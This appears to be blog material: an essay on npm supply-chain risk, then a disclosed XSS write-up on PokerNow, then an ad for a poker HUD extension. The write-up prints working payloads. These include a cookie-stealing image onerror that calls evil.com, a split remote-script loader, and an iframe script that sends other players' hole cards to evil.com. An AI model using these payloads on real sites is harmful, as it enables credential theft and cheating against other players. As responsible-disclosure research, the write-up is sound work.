As of July 31, 2025 there are... let's see...
npm i all-the-package-names
node -e 'console.log(require("all-the-package-names").length)'
3532585
3,532,585 packages published in the npmjs registry. This includes the all-the-package-names
package and its four dependencies, is-number
, tap-spec
, tape
and all-the-package-repos
.
Does that seem a little ridiculous that such a simple library, a list of all npm packages, has four dependencies? The answer to this rhetorical question becomes far more clear when you consider the dependencies of those dependencies.
npm i --include=dev # 3 "critical vulnerabilities" detected btw
ls node_modules
all-the-package-repos es-define-property is-arguments minimist side-channel-list
ansi-regex es-errors isarray mock-property side-channel-map
ansi-styles es-get-iterator is-array-buffer object-assign side-channel-weakmap
array-buffer-byte-length es-object-atoms is-async-function object.assign split
arraybuffer.prototype.slice es-set-tostringtag is-bigint object-inspect stop-iteration-iterator
array.prototype.every es-to-primitive is-boolean-object object-is string_decoder
async-function figures is-callable object-keys string.prototype.trim
available-typed-arrays for-each is-core-module once string.prototype.trimend
balanced-match fs.realpath is-data-view own-keys string.prototype.trimstart
brace-expansion function-bind is-date-object parse-ms strip-ansi
buffer-shims function.prototype.name is-finalizationregistry path-is-absolute supports-color
call-bind functions-have-names is-finite path-parse supports-preserve-symlinks-flag
call-bind-apply-helpers get-intrinsic is-generator-function plur tape
call-bound get-package-type is-map possible-typed-array-names tap-out
chalk get-proto is-negative-zero pretty-ms tap-spec
concat-map get-symbol-description is-number process-nextick-args through
core-util-is glob is-number-object readable-stream through2
count-array-values globalthis is-regex re-emitter trim
data-view-buffer gopd is-set reflect.getprototypeof typed-array-buffer
data-view-byte-length has-ansi is-shared-array-buffer regexp.prototype.flags typed-array-byte-length
data-view-byte-offset has-bigints is-string repeat-string typed-array-byte-offset
deep-equal has-dynamic-import is-symbol resolve typed-array-length
defined hasown is-typed-array safe-array-concat unbox-primitive
define-data-property has-property-descriptors is-weakmap safe-buffer util-deprecate
define-properties has-proto is-weakref safe-push-apply which-boxed-primitive
dotignore has-symbols is-weakset safe-regex-test which-builtin-type
dunder-proto has-tostringtag @ljharb set-function-length which-collection
duplexer inflight lodash set-function-name which-typed-array
es-abstract inherits math-intrinsics set-proto wrappy
escape-string-regexp internal-slot minimatch side-channel xtend
Wtf! That's one-hundred-and-fifty packages!2 To be fair, these are developer dependencies which are only required for contributors to develop, build and release the all-the-package-names
package; regardless, this is clearly an issue.
These packages are authored by 19 unique developers (in addition to 5 unattributed packages). Do you really trust the author of the isarray
package not to run malicious code on your computer? How about the author of the escape-string-regex
package? Do you trust them not to sell the package to a malicious actor, or to get phished?
The answer to these questions for the vast majority of JavaScript developers should be no; not because the authors of the aforementioned packages are necessarily malicious (they are likely not), but because you simply don't know how trustworthy these packages are until you investigate. And let's be honest... you're not investigating.
In the beginning there was UNIX. Any program that wasn't included with the operating system would have to be installed by downloading and extracting an archive, then running a ./configure
script and finally make
. This got annoying real fast.
Then came DPKG, likely the oldest package manager still in use today. When it was released by The Debian Project in 1993, DPKG had no ability to deal with dependency resolution or remote repositories. These shortcomings would later be addressed with the release of APT in 1998. Today when we think of a package manager, we think of something like APT, which can resolve and fetch dependencies from a remote repository.
While DPKG and other package managers for operating system were being developed, the first large scale ecosystem-specific code repositories started coming online, notably CTAN for TeX and later CPAN for Perl (both are still in use today).
CPAN is really the first thing that resembles npm. It has one community-open unified repository (for the most part) and a command line utility for searching, downloading and publishing packages.
An early attempt at creating a package manager for JavaScript was JSAN, of course, based on CPAN. JSAN was released four years before NodeJS and the advent of JavaScript for the backend, which is possibly why it never picked up any real steam.
This finally brings us around to npm, which was released in January 2010 to serve as the package manager and registry for the newly released NodeJS.
When Isaac Schlueter pushed the first commit to the npm git repository, there was no registry as we know it today. Packages came from a JSON file in this git repo, which has sadly been lost to time.
This system was quickly replaced with a CouchDB app. At the time, anyone could publish to the registry without authentication and override anyone else's packages. The current iteration of the npm registry is a more secure and distributed version of this original CouchDB system.
Contrary to the answer provided by the little AI box when you type "what was the first npm package?" into Google, the first package published was actually abbrev, not npm itself.1
Due to changes to the npm registry over the last decade-and-a-half, it's hard to get exact data on the historical package count. These numbers are rough estimates and have been compiled from various blog posts, tweets and git commits.
The npm registry is really big3,4. This makes some sense, being that JavaScript is, much to my chagrin, the most used programming language.
It's tempting to scoff at this number and conclude that package count alone is indicative of something bad. First, let's put it into perspective against some other popular software registries:
We can clearly see that npm is more or less on par with these other registries in terms of raw package count, even being completely eclipsed by Maven Central. So why does npm have such a terrible security reputation? Let's look at transitive dependencies.
These are the median number of transitive dependencies for a few popular registries, calculated by GitHub in 2020:5
GitHub didn't have any data for transitive Java dependencies in the Maven Central repository, so I wrote a script to analyze 10,000 random packages (in 2025):
This is our first glaring issue.
Ultimately, this comes down to two things: the standard library and developer culture.
Compared to languages like Java or Go, Node has a tiny standard library. In the last decade or so, we've seen massive improvement on this first problem with the addition of native FS, buffers, async hooks, fetch, etc. However, we are left over with the rot of obsolete packages like lodash, node-fetch, request, bluebird, and moment, which were previously very useful.
The main problem though, is micropackaging, a philosophy that has completely taken over the JavaScript ecosystem. Thousands of packages on the registry, each with millions of downloads per week consist solely of one liner functions. Rather than writing a quick utility function, JavaScript developers prefer to include a third party package.
Additionally, thousands of spam packages can be attributed to perverse incentives from the Tea protocol and web developers attempting to pad their digital resume with claims of maintaining several popular packages.
The supply chain threat is not just theoretical; it's absolutely epidemic to the JavaScript ecosystem. Personally, I opt to do any NodeJS development in a virtual machine.
There are countless examples of hacked package maintainers, packages being sold to malicious actors, and even malware being placed by the legitimate author. Everything from "protestware" to crypto miners to multi platform RATs are sneaking into your machine via npm install
. The smart malware will even steal your registry token from .npmrc
to infect your packages.
Let's take a look at some famous examples.
In July of 2025, a clever hacker noticed that npmjs.org had no SPF record configured. They proceeded to take advantage of this with a phishing campaign targeting maintainers of some popular packages. The packages eslint-config-prettier
, eslint-plugin-prettier
, synckit
, @pkgr/core
, napi-postinstall
, got-fetch
, and is
, with a collective weekly download count of 96,063,394 were promptly compromised with malware targeting Windows.8
One particularly infuriating case is the Peacenotwar "protestware." This malware was planted by the real maintainer of the node-ipc
package, and it's goal was to wipe the computers of anyone with an IP address in Belarus or Russia. A good reminder that people are not their governments, and that IP geolocation is not accurate. Also, believe it or not, this guy faced zero consequences and is still the maintainer of node-ipc
and various other packages.7
The npm supply chain tactic also seems to be a favorite among hackers linked to the DPRK.9 In 2023, the Lazarus APT compromised connect-kit
, a package used for connecting JavaScript dApps to Ledger cryptocurrency hardware wallets. Despite the malicious code only being live for 5 hours, they managed to swipe over $600,000 worth of cryptocurrency from unsuspecting users.10
There are so... so many more examples of compromised npm packages. I invite you to just google "npm supply chain" and see how many results pop up.
The registry has already implemented mandatory MFA for package maintainers, but that's not cutting it. I suggest that npm implements the following changes:
And perhaps more importantly, developers need to stop being lazy. You don't need a package to check if a number is even!
It's past time to stop carelessly running npm install
.
Due to the high-stakes nature and complexity of poker games such as No Limit Hold'em and Pot Limit Omaha, there are only a handful of providers offering online poker software.
PokerNow is a popular free service created by Samuel Simões where anyone can create a table and play with their friends.
Obviously, the integrity of the game is of upmost importance to players.
So let's see what we can do.
I began looking at the Clubs section of the website, where users can host a page helping to manage underlying games, player accounts and balances.
Pop open devtools and...
PokerNow API Client
Well that always makes my job a lot easier!
I've never looked forward to manaully deobfuscating webpack bundles.
renderClubPlayers(div, club) {
if (club.config && club.config.leaderboard) return this.renderLeaderboard(div, club)
let html = []
html.push(`
${this.subheader('Club Players')}
<div class="card-body p-grid-container section-body">
`)
for (let player of club.players) {
let row2 = ''
if (player.hasOwnProperty('chips_balance')) {
row2 = `<div id="p-stack-${player.user_id}">${this.formatted(player.chips_balance, club.use_cents, false, player.credit_limit)}</div>`
}
row2 += `<span class="item-subtext" id="player-role-${player.user_id}">${player.club_role}</span>`
html.push(`
<div class="item">
<a class="nomarkupblack" href="#" onclick="club.showPlayer('${player.user_id}');return false;">
<table>
<tr>
<td nowrap>${this.profileLogo(player, 'profile-image-small', 'profile-image-placeholder-small')}</td>
<td>
<b>${player.display_name}</b><br>
${row2}
...
`)
}
Who needs event listeners or proper templating? Just string together some HTML and through user input directly in there. We can probably find an XSS injection.
htmlEscape(str) {
if (!str) return ''
return str
.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/>/g, '>')
.replace(/</g, '<');
}
...
<div class="tc2 bold">${club.htmlEscape(c.club_name)}</div>
Some user-controlled fields are run through a simple sanitizer similar to PHP's htmlentities. However, it's usage is sporadic and there are several instances of the player's display name or "network username" being passed without sanitization.
I would typically expect a username to not contain special characters like <, >, ', or "
.
But look! I can actually put HTML tags in my username.
Here it's escaped
Here our tag is executed!
And we officially have HTML injection!
Unfortunately for us, PokerNow usernames are limited to 14 characters. This is going to be a challenge to get anything useful... I searched
around for really short XSS payloads but the absolute shortest I could find was <q oncut="<javascript>
, which requires the user to cut and paste on the
field. Not ideal.
After spending an hour attempting to craft the a useful payload, it's back to the hunt.
let buttons = []
if (!isMe) buttons.push(`<a href="#" class="btn btn-success btn-confirm-reject" onclick="club.approveWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}');return false"><i class="fa fa-check fa-outlined"></i></a>`)
buttons.push(`<a href="#" class="btn btn-danger btn-confirm-reject" onclick="club.rejectWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}', ${isMe});return false"><i class="fa fa-times fa-outlined"></i></a>`)
These are buttons for the administrator of a club to accept or reject members. Looks like we also have the username injection here and we're already inside of a Javascript context.
',alert(47))//
BANG!
Although exciting, that alert box isn't going to help out much.
We still need to work in a very constrained space with the 14 character limit, but at least we have a little room for Javascript now.
The goal is to include an external script from our server, which should be possible due to loose CSP rules.
Starting with this, we are a bit over the size limit.
fetch('https://my.server/x.js').then(data => data.text()).then(eval)
Thankfully PokerNow uses jQuery, so the above can be truncated to:
$.getScript('https://my.server/x.js')
And using a cool unicode trick from 1lastBr3ath, we can shrink the URL to something like ㎠.㎺ (only three characters!) which will be expanded to cm2.pw.
$.getScript('//㎠.㎺')
Damn. Still too long... But we can break up the payload into several users like so:
USER1: ',x="getSc")//
USER2: ',y="ript")//
USER3: ',z=$[x+y])//
USER4: ',z('//㎠.㎺'))//
Although it would work, this method requires the club admin to click reject or approve on each account in order. To make this more likely to happen, we can glitch the buttons so that the accounts are never actually removed or approved. Our accounts will annoyingly linger in the queue, as our code is run in the background.
message: `Are you sure you want to <b>APPROVE</b> adding <b>${club.htmlEscape(username)}</b> to the club?`,
Remember the htmlEscape
function? It calls String.replace
on the input. If we pass something like a Number or Function,
the execution will error out and stop.
The cleanest way I found to do this was by appending .at
to the closing quote, making the parameter reference to the String.at function.
'.at,alert())//
Now we wait for the admin to frustratingly click "reject" on all four of our spammy accounts to collect his creds.
The admin needing to click on a bunch of accounts repeatedly is not ideal. We want automatic execution when you hit the page. And we really want it to affect normal players as well as admins.
Let's try some other injection points.
<a class="nomarkupblack" href="/clubs/${c.slug}">
This validation is only client-side!
Works! Although our club URL is glitched
2496 html.push(`<td>${desc}</td>`)
Littered with injections!
Spread it to unprivledged members
let description = options.description || '' // this.club.description || ''
if (description) {
description = `<div class="title-subtext mt8">${description}</div>`
}
let html = `
<table width='100%'>
<tr>
The club description field is also completely unfiltered before being shot into the HTML! The club admin has full control over this field and there is no character limit. It is loaded on every club lobby page.
Testing with a basic XSS payload, the theory is confirmed. This auto-executes after visiting the club page, whether you're a member or admin.
<img src=x onerror="alert('no longer constrained to 14 characters.')" />
<img src=x onerror="fetch(`//evil.com/${btoa(document.cookie)}`)" />
Now for some fun. How can we see them hole cards?
Our script is only executed on the club lobby page, not the game rooms/tables. Which is where we need to be! Our opponents' hole cards are accessible in the DOM on the table page.
Perhaps not the simplest method, but this is what came to mind:
What if instead of a link to the table opening in a new tab, we replace the screen with an iframe containing the table page and pull data from it's contentWindow?
Typically the top window containing an iframe cannot access it's DOM, but we are iframing a page on the same subdomain so SOP need not apply.
document.querySelector('iframe').contentWindow.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');
Nice!
Here's the idea:
for (const ele of document.querySelectorAll('.btn.btn-primary.btn-md')) {
const url = ele.href;
ele.href = "#"
ele.target = ""
ele.onclick = () => {
let f = document.createElement('iframe');
f.src = url;
f.style = 'z-index: 9999; width: 100vw; height: 100vh; position: absolute; left: 0; top: 0;';
f.onload = () => {
let cw = document.querySelector('iframe').contentWindow;
setInterval(() => {
const cards = cw.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');
if (cards.length < 2) return;
const dc = [cards[0].textContent.substr(0, 2), cards[1].textContent.substr(0, 2)];
const username = cw.document.querySelector('.username').textContent;
fetch("//evil.com/"+username+"/"+dc.join('_'));
}, 1000);
}
document.querySelector('body').appendChild(f);
};
}
Wrap it up into a payload.
<img src=x onerror="eval(atob(`Zm9yICh...07Cn0K`))" />
Aaaannndd, nice!
Now, every player who joins our table will have their hole cards periodically forwarded to my server.
Time to make some hero calls with J4o :)
2024-06-12 Disclosed to PokerNow
2024-06-12 Patch in progress
2024-06-13 Fixed
A smart HUD for the popular poker with friends website, PokerNow.
The price is 8.99/m. If you know what you are doing, this price is very reasonable! If you don't expect this extension to deliver you value worth at least $8.99 per month, don't buy it.